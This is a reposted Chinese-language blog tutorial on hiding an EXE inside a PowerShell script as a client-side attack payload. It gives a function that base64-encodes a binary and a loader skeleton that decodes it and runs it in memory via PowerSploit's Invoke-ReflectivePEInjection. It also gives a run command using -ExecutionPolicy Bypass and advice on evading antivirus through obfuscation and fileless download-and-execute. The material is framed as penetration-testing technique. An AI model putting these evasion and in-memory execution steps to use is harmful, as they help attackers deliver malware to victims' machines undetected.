如何在PowerShell指令碼中嵌入EXE檔案?
阿新 • • 發佈:2018-12-29
我在嘗試解決一個問題,即在客戶端攻擊中只使用純 PowerShell 指令碼作為攻擊負荷。使用 PowerShell 執行惡意程式碼具有很多優點,包括:
1.無需在目標上安裝其他任何東西。
2.強大的引擎(例如可以直接呼叫 .NET 程式碼)。
3.可以使用 base64 編碼命令來混淆惡意命令,使惡意命令變的不容易被發現。這同樣也是一種可以避免使用特殊字元的方法,尤其是在一個涉及多個步驟需要分離不同攻擊負荷的高階攻擊中。
4.可以使用Invoke-Expression將字串解釋為 Powershell 命令。從滲透測試的角度看,這可以避免在目標磁碟上編寫複雜的指令碼。例如:你可以使用 Powershell 下載額外的複雜指令碼,然後通過呼叫 Invoke-Expression 解釋並執行下載到記憶體中的指令碼。這個過程同樣可以躲避防毒軟體的查殺。
我們想在目標上執行一些相當複雜的功能,這些功能常是 EXE 檔案的一部分。我不想直接在目標上放置一個二進位制檔案,因為這樣可能會觸發反病毒機制。所以我想將其放入 Powershell 指令碼中,不過我也不想重寫整個 Powershell 指令碼。
最終我想到一個辦法。
將二進位制檔案嵌入到 Powershell 指令碼中,並直接通過指令碼執行而不用將其寫入到磁盤裡。
下面演示解決步驟:
1.將二進位制檔案進行 base64 編碼
可以使用以下函式:
function Convert-BinaryToString { [CmdletBinding()] param ( [string] $FilePath ) try { $ByteArray = [System.IO.File]::ReadAllBytes($FilePath); } catch { throw "Failed to read file. Ensure that you have permission to the file, and that the file path is correct."; } if ($ByteArray) { $Base64String = [System.Convert]::ToBase64String($ByteArray); } else { throw '$ByteArray is $null.'; } Write-Output -InputObject $Base64String; }
2. 按如下過程建立一個新的指令碼
1.用上一步的方法將 EXE 檔案轉為字串;2.準備 Invoke-ReflectivePEInjection(Powersploit project 的一部分);3.將字串轉為位元組陣列;4.呼叫 Invoke-ReflectivePEInjection。
所以,二進位制檔案只是 Powershell 指令碼中的一段字串,在將字串解碼為二進位制陣列後,就可以呼叫 Invoke-ReflectivePEInjection 直接在記憶體中執行。
最後看起來像這樣:
# base64 編碼的二進位制檔案
$InputString = '...........'
function Invoke-ReflectivePEInjection
{
......
......
......
}
# 將二進位制字串轉為位元組陣列
$PEBytes = [System.Convert]::FromBase64String($InputString)
# 在記憶體中執行 EXE
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4"
現在就可以在目標上執行指令碼了:
powershell -ExecutionPolicy Bypass -File payload.ps1
根據嵌入的不同二進位制檔案,可能會出現以下錯誤:
PE platform doesn’t match the architecture of the process it is being loaded in (32/64bit)
解決這個問題只需要執行 32 位的 PowerShell 即可。
下面是我將 plink.exe 嵌入 payload.ps1 的例子:
原文:truesecdev,來自FreeBuf黑客與極客.